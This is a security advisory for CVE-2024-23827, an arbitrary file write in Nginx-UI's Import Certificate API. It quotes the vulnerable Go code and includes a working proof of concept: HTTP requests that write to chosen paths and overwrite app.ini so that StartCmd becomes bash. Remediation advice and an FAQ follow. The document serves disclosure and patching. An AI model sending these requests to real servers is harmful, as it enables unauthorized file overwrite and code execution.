CVE-2024-23827: Nginx-UI arbitrary file write through the Import Certificate feature
Summary
The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.
https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72
go func AddCert(c gin.Context) { var json struct { Name string json:"name" SSLCertificatePath string json:"sslcertificatepath" binding:"required" SSLCertificateKeyPath string json:"sslcertificatekeypath" binding:"required" SSLCertificate string json:"sslcertificate" SSLCertificateKey string json:"sslcertificatekey" ChallengeMethod string json:"challengemethod" DnsCredentialID int json:"dnscredentialid" } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, }
err := certModel.Insert()
if err != nil { api.ErrHandler(c, err) return }
content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, }
err = content.WriteFile()
if err != nil { api.ErrHandler(c, err) return }
c.JSON(http.StatusOK, Transformer(certModel)) }
https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/writefile.go#L15
go func (c Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil.
err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return }
err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return }
if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } }
if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } }
return }
PoC
POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close
{"name":"poc","sslcertificatepath":"/tmp/test","sslcertificatekeypath":"/tmp/test2","sslcertificate":"test","sslcertificatekey":"test2"}
bash root@aze:~/nginx# ls -la /tmp/test -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2
It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.
bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login Then we overwrite the StartCmd with bash
POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close
{"name":"poc","sslcertificatepath":"/root/nginx/app.ini","sslcertificatekeypath":"/tmp/test2","sslcertificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","sslcertificatekey":"test2"}
bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash
For the new config to be applied the app needs to be restarted
!image
Impact
Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.
Other sources
Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/0xJacky/Nginx-UIto a version that resolves this vulnerability.Fixed in 2.0.0-beta.12 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.0.0.beta.12 - Configuration
Patch/implement input validation for the Import Certificate feature so that ssl_certificate_path and ssl_certificate_key_path cannot be used to write arbitrary filesystem paths (e.g., prevent overwriting app.ini and restrict writes to allowed certificate directories).
Nginx-UI (Import Certificate feature) Path validation for ssl_certificate_path / ssl_certificate_key_path = enforce - Operational
Because the Import Certificate change can overwrite configuration such as StartCmd and requires the app to apply new config, restart the Nginx-UI application after applying the fix (the material states: “For the new config to be applied the app needs to be restarted”).
- Operational
Review for any configuration files that may have been overwritten via the Import Certificate arbitrary write (example shown overwriting StartCmd in app.ini). If present, restore expected configuration and rotate any exposed secrets such as JwtSecret/NodeSecret if they were exposed or modified before the fix.
Event History
Frequently Asked Questions
What is the severity of CVE-2024-23827?
CVE-2024-23827 is considered a high severity vulnerability due to arbitrary write access being allowed in the Import Certificate feature.
How do I fix CVE-2024-23827?
To fix CVE-2024-23827, upgrade to version 2.0.0-beta.12 or later of the Nginx-UI.
What types of systems are affected by CVE-2024-23827?
CVE-2024-23827 affects multiple versions of Nginx-UI, primarily versions from 1.2.0 up to but not including 2.0.0-beta.12.
What is the nature of the vulnerability in CVE-2024-23827?
CVE-2024-23827 allows arbitrary file write due to insufficient validation on user input for certificates.
Is CVE-2024-23827 remotely exploitable?
Yes, CVE-2024-23827 can be exploited remotely by an attacker with access to the Import Certificate feature.